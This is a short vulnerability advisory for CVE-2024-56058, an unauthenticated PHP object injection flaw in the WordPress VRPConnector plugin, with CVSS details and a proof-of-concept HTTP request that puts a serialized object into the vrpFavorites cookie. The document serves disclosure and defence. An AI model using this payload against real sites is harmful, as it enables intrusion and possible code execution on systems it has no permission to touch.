WordPress VRPConnector 2.0.1 PHP Object Injection Vulnerability

# CVE-2024-56058
VRPConnector <= 2.0.1 - Unauthenticated PHP Object Injection

# Description

The VRPConnector plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 2.0.1 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

## Details

- **Type**: plugin
- **Slug**: vrpconnector
- **Affected Version**: 2.0.1
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-56058
- **Status**: Active

POC
---
```
GET / HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: vrpFavorites=O:20:"PHP_Object_Injection":0:{}
Upgrade-Insecure-Requests: 1
Priority: u=0, i

```